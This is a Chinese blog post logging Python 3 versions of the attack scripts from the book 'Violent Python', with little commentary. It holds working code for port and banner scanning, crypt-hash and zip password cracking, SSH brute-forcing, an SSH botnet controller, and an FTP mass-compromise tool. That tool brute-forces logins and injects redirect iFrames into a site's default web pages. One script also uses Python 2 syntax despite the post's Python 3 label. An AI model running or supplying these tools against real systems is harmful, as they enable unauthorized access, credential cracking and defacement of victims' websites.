《Python绝技:运用Python成为顶级黑客》python3实践记录

第一章——入门

扫描IP端口 (18、19 页)

import socket
import os
import sys
def retBanner(ip,port):
    try:
        socket.setdefaulttimeout(2)            #设置超时
        s = socket.socket()
        s.connect((ip,port))                   #链接服务器和端口
        banner = s.recv(1024)                   #接受TCP套接字的最大数据量,一般1024
        return banner
    except:
        return

def checkVulns(banner,filename):
    f = open(filename,'r')                  #打开文件遍历
    for line in f.readlines():
        if line.strip('\n') in banner:
            print ('[+] Server is vulnerable: ' + banner.strip('\n'))  

def main():
    if len(sys.argv) ==2:
        filename=sys.argv[1]
        if not os.path.isfile(filename):                            #判断文件是否存在
             print ('[-] ' + filename + ' does not exit.') 
             exit(0)

        if not os.access(filename,os.R_OK):                         #判断是否有权限
            print ('[-] ' + filename + ' access denied.')  
            exit(0) 

        print ('[+] Reading From: ' + filename)  

    else:
        print ('[-] Usage: ' + str(sys.argv[0]) + ' ')   #没输入文件名
        exit(0)    



    portList = [21,22,25,80,110,443]   
    ip = '192.168.40.131'
    for port in portList:
        banner = retBanner(ip,port)
        if banner:
             print ('[+] ' + ip + ':' + str(port) + '--' + str(banner))  
             if port == 21:
                checkVulns(banner,filename)

if __name__ == '__main__':  
    main()  

第一个程序:UNIX口令破解机(20、21页)

import crypt

def testPass(cryptPass):    # 加密的口令hash
    salt = cryptPass[0:2]   # 提取加密的口令hash前两个字符视为salt
    dictFile = open('dictionary.txt', 'r')   # 读取字典里的所有单词
    for word in dictFile.readlines():        # 遍历字典中的每一个单词
        word = word.strip('\n')              # 提取单个单词
        cryptWord = crypt.crypt(word, salt)  # 用每个单词和salt计算一个新的加密口令hash
        if cryptWord == cryptPass:           # 如果结果与加密口令hash匹配
            print '[+] Found Password: ' + word + '\n'  # 显示找到密码
            return                           # 找到密码,返回
    print '[-] Password Not Found.\n'     # 搜遍字典无果
    return                                # 没有找到密码,返回

def main():
    passFile = open('passwords.txt')    # 打开加密口令文件"passwords.txt"
    for line in passFile.readlines():   # 逐行读取口令文件中的内容
        if ':' in line:          
            user = line.split(':')[0]
            cryptPass = line.split(':')[1].strip(' ')   # 每一行的用户名和口令hash都是分隔开的
            print '[*] Cracking Password For: ' + user
            testPass(cryptPass)     # 调用testPass()函数,尝试用字典中的单词破解口令hash

if __name__ == '__main__':
    main()

第二个程序:一个Zip文件口令破解机

import zipfile  
import optparse  
from threading import Thread  
  
def extractFile(zFile,password):  
    try:  
        zFile.extractall(pwd=password.encode('ascii'))   #python3中pwd需要的是byte
        print ('[+] Fonud Password : ' + password + '\n')  
    except:  
        pass  
  
def main():  
  
    parser = optparse.OptionParser("[*] Usage: ./unzip.py -f  -d ")  
    parser.add_option('-f',dest='zname',type='string',help='specify zip file')  
    parser.add_option('-d',dest='dname',type='string',help='specify dictionary file')  
    (options,args) = parser.parse_args()  
    if (options.zname == None) | (options.dname == None):  
        print (parser.usage)  
        exit(0)  
  
    zFile = zipfile.ZipFile(options.zname)  
    passFile = open(options.dname)  
    for line in passFile:  
        line = line.strip('\n')  
        t = Thread(target=extractFile,args=(zFile,line))  
        t.start()  
  
if __name__ == '__main__':  
    main()  

第二章——用Python进行渗透测试

1、编写一个端口扫描器

    TCP全连接扫描、抓取应用的Banner(33-34页)

import optparse  
import socket  
from socket import *  
  
def connScan(tgtHost,tgtPort):  
    try:  
        connSkt = socket(AF_INET,SOCK_STREAM)  
        connSkt.connect((tgtHost,tgtPort))  
        connSkt.send('ViolentPython\r\n'.encode('ascii'))  
        result = connSkt.recv(100)  
        print('[+] %d/tcp open'%tgtPort)  
        print('[+] ' + str(result))  
        connSkt.close()    
    except:  
        print('[-] %d/tcp closed'%tgtPort)  
  
def portScan(tgtHost,tgtPorts):  
    try:  
        tgtIP = gethostbyname(tgtHost)              #根据主机名字得到主机信息
    except:  
        print("[-] Cannot resolve '%s' : Unknown host"%tgtHost)  
        return  
  
    try:  
        tgtName = gethostbyaddr(tgtIP)              #根据主机地址获取主机信息
        print('\n[+] Scan Results for: ' + tgtName[0])
    except:  
        print('\n[+] Scan Results for: ' + tgtIP)  
  
    setdefaulttimeout(1)  
  
    for tgtPort in tgtPorts:  
        print('Scanning port' + tgtPort)  
        connScan(tgtHost,int(tgtPort))  
  
def main():  
    parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H  -p ")  
    parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')  
    parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')  
    (options,args) = parser.parse_args()  
    tgtHost = options.tgtHost  
    tgtPorts = str(options.tgtPort).split(',')  
    if (tgtHost == None) | (tgtPorts[0] == None):  
        print(parser.usage)  
        exit(0)  
    portScan(tgtHost,tgtPorts)  
  
if __name__ == '__main__':  
    main()  

2.线程扫码(35-36页)(上一个代码添加线程)

import optparse  
import socket  
from socket import *  
from threading import *
screenLock =Semaphore(value=1)
def connScan(tgtHost,tgtPort):  
    try:  
        connSkt = socket(AF_INET,SOCK_STREAM)  
        connSkt.connect((tgtHost,tgtPort))  
        connSkt.send('ViolentPython\r\n'.encode('ascii'))  
        result = connSkt.recv(100) 
        screenLock.acquire()   #执行一个加锁操作
        print('[+] %d/tcp open'%tgtPort)  
        print('[+] ' + str(result))  
        connSkt.close()    
    except:  
        screenLock.acquire()   #执行一个加锁操作
        print('[-] %d/tcp closed'%tgtPort) 
    finally:
        #执行释放锁的操作,同时将socket的连接在其后关闭
        screenLock.release()
        connSkt.close() 
  
def portScan(tgtHost,tgtPorts):  
    try:  
        tgtIP = gethostbyname(tgtHost)             
    except:  
        print("[-] Cannot resolve '%s' : Unknown host"%tgtHost)  
        return  
  
    try:  
        tgtName = gethostbyaddr(tgtIP)              
        print('\n[+] Scan Results for: ' + tgtName[0])
    except:  
        print('\n[+] Scan Results for: ' + tgtIP)  
  
    setdefaulttimeout(1)  
  
    for tgtPort in tgtPorts:  
        print('Scanning port' + tgtPort)  
        connScan(tgtHost,int(tgtPort))  
  
def main():  
    parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H  -p ")  
    parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')  
    parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')  
    (options,args) = parser.parse_args()  
    tgtHost = options.tgtHost  
    tgtPorts = str(options.tgtPort).split(',')  
    if (tgtHost == None) | (tgtPorts[0] == None):  
        print(parser.usage)  
        exit(0)  
    portScan(tgtHost,tgtPorts)  
  
if __name__ == '__main__':  
    main()  

3.使用NMAP端口扫描代码(37-38页)(需先安装python-nmap 和 nmap环境)

import nmap
import optparse
 
def nmapScan(tgtHost,tgtPort):
    #创建一个PortScanner()类对象
    nmScan = nmap.PortScanner()
 
    #调用PortScanner类的scan()函数,将目标和端口作为参数输入并进行nmap扫描
    nmScan.scan(tgtHost,tgtPort)
 
    #输出扫描结果中的状态信息
    state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print('[*] ' + tgtHost + " tcp/" + tgtPort + " " + state)
 
def main():
    parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H  -p ")
    parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
    parser.add_option('-p',dest='tgtPorts',type='string',help='specify target port[s]') 
    (options,args)=parser.parse_args()
    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPorts).split(',')
    if (tgtHost == None) | (tgtPorts[0] == None):
        print(parser.usage)
        exit(0)
    for tgtPort in tgtPorts:
        nmapScan(tgtHost,tgtPort)
 
if __name__ == '__main__':  
    main()

4.用Pxssh暴力破解SSH密码(43-44页)

from pexpect import pxssh
import optparse
import time
from threading import *
 
maxConnections = 5
#定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
 
def connect(host,user,password,release):
 
    global Found
    global Fails
    
    try:
        s = pxssh.pxssh()
        #利用pxssh类的login()方法进行ssh登录
        s.login(host,user,password)
        print ('[+] Password Found: ' + password)
        Found = True
    except Exception as e:
        #SSH服务器可能被大量的连接刷爆,等待一会再连接
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            #递归调用的connect(),不可释放锁
            connect(host,user,password,False)
        #显示pxssh命令提示符提取困难,等待一会再连接
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            #递归调用的connect(),不可释放锁
            connect(host,user,password,False)
    finally:
        if release:
            #释放锁
            connection_lock.release()
 
def main():
    parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H  -u  -f ')
    parser.add_option('-H',dest='host',type='string',help='specify target host')
    parser.add_option('-u',dest='username',type='string',help='target username')
    parser.add_option('-f',dest='file',type='string',help='specify password file')
    (options,args) = parser.parse_args()
 
    if (options.host == None) | (options.username == None) | (options.file == None):
        print(parser.usage)
        exit(0)
 
    host = options.host
    username = options.username
    file = options.file
 
    fn = open(file,'r')
    for line in fn.readlines():
 
        if Found:
            print('[*] Exiting: Password Found')
            exit(0)
 
        if Fails > 5:
            print('[!] Exiting: Too Many Socket Timeouts')
            exit(0)
 
        #加锁
        connection_lock.acquire()
 
        #去掉换行符,其中Windows为'\r\n',Linux为'\n'
        password = line.strip('\r').strip('\n')
        print('[-] Testing: ' + str(password))
 
        #这里不是递归调用的connect(),可以释放锁
        t = Thread(target=connect,args=(host,username,password,True))
        child = t.start()
 
if __name__ =='__main__':
    main()

5.构建SSH僵尸网络

import optparse
from pexpect import pxssh
 
#定义一个客户端的类
class Client(object):
    """docstring for Client"""
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()
 
    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host,self.user,self.password)
            return s
        except Exception as e:
            print(e)
            print('[-] Error Connecting')
        
    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before
 
def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print('[*] Output from ' + client.host)
        print('[+] ' + str(output) + '\n')
 
def addClient(host, user, password):
    client = Client(host,user,password)
    botNet.append(client)
 
botNet = []
addClient('127.0.0.1','root','123456')
botnetCommand('uname -a')
botnetCommand('whoami')

6.用Python 构建匿名FTP扫描器

import ftplib  
  
def anonLogin(hostname):  
    try:  
        ftp = ftplib.FTP(hostname)  
        ftp.login('anonymous','[email protected]')  
        print ('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
        ftp.quit()  
        return True  
    except Exception as e:  
        print ('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.' )
        return False  
  
hostname = '192.168.40.131'  
anonLogin(hostname)  

6-2.利用ftp在网页中加入恶意注入代码

import ftplib
 
def injectPage(ftp,page,redirect):
	f = open(page + '.tmp','w')
	#下载FTP文件
	ftp.retrlines('RETR ' + page,f.write)
	print ('[+] Downloaded Page: ' + page)
	f.write(redirect)
	f.close()
	print ('[+] Injected Malicious IFrame on: ' + page)
	#上传目标文件
	ftp.storlines('STOR ' + page,open(page + '.tmp','rb'))
	print ('[+] Uploaded Injected Page: ' + page)
 
host = '192.168.40.131'
username = 'test'
password = 'a519395243'
ftp = ftplib.FTP(host)
ftp.login(username,password)
redirect = ''
injectPage(ftp,'index.html',redirect)
  

6-3.整合全部的攻击

import ftplib
import optparse
import time
 
def attack(username,password,tgtHost,redirect):
	ftp = ftplib.FTP(tgtHost)
	ftp.login(username,password)
	defPages = returnDefault(ftp)
	for defPage in defPages:
		injectPage(ftp,defPage,redirect)
 
def anonLogin(hostname):
	try:
		ftp = ftplib.FTP(hostname)
		ftp.login('anonymous','[email protected]')
		print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
		ftp.quit()
		return True
	except Exception as e:
		print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.')
		return False
 
def bruteLogin(hostname,passwdFile):
	pF = open(passwdFile,'r')
	for line in pF.readlines():
		username = line.split(':')[0]
		password = line.split(':')[1].strip('\r').strip('\n')
		print('[+] Trying: ' + username + '/' + password)
		try:
			ftp = ftplib.FTP(hostname)
			ftp.login(username,password)
			print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password)
			ftp.quit()
			return (username,password)
		except Exception as e:
			pass
	print('\n[-] Could not brubrute force FTP credentials.')
	return (None,None)
 
def returnDefault(ftp):
	try:
		#nlst()方法获取目录下的文件
		dirList = ftp.nlst()
	except:
		dirList = []
		print('[-] Could not list directory contents.')
		print('[-] Skipping To Next Target.')
		return
 
	retList = []
	for filename in dirList:
		#lower()方法将文件名都转换为小写的形式
		fn = filename.lower()
		if '.php' in fn or '.asp' in fn or '.htm' in fn:
			print('[+] Found default page: '+filename)
			retList.append(filename)
	return retList
 
def injectPage(ftp,page,redirect):
	f = open(page + '.tmp','w')
	#下载FTP文件
	ftp.retrlines('RETR ' + page,f.write)
	print('[+] Downloaded Page: ' + page)
	f.write(redirect)
	f.close()
	print('[+] Injected Malicious IFrame on: ' + page)
	#上传目标文件
	ftp.storlines('STOR ' + page,open(page + '.tmp','rb'))
	print('[+] Uploaded Injected Page: ' + page)
 
def main():
	parser = optparse.OptionParser('[*] Usage : ./massCompromise.py  -H  -r  -f ]')
	parser.add_option('-H',dest='hosts',type='string',help='specify target host')
	parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')
	parser.add_option('-f',dest='file',type='string',help='specify userpass file')
	(options,args) = parser.parse_args()
 
	#返回hosts列表,若不加split()则只返回一个字符
	hosts = str(options.hosts).split(',')
	redirect = options.redirect
	file = options.file
 
	#先不用判断用户口令文件名是否输入,因为会先进行匿名登录尝试
	if hosts == None or redirect == None:
		print(parser.usage)
		exit(0)
 
	for host in hosts:
		username = None
		password = None
		if anonLogin(host) == True:
			username = 'anonymous'
			password = '[email protected]'
			print('[+] Using Anonymous Creds to attack')
			attack(username,password,host,redirect)
		elif file != None:
			(username,password) = bruteLogin(host,file)
			if password != None:
				print('[+] Using Cred: ' + username + '/' + password + ' to attack')
				attack(username,password,host,redirect)
 
if __name__ == '__main__':
	main()

 

你可能感兴趣的:(《Python绝技:运用Python成为顶级黑客》python3实践记录)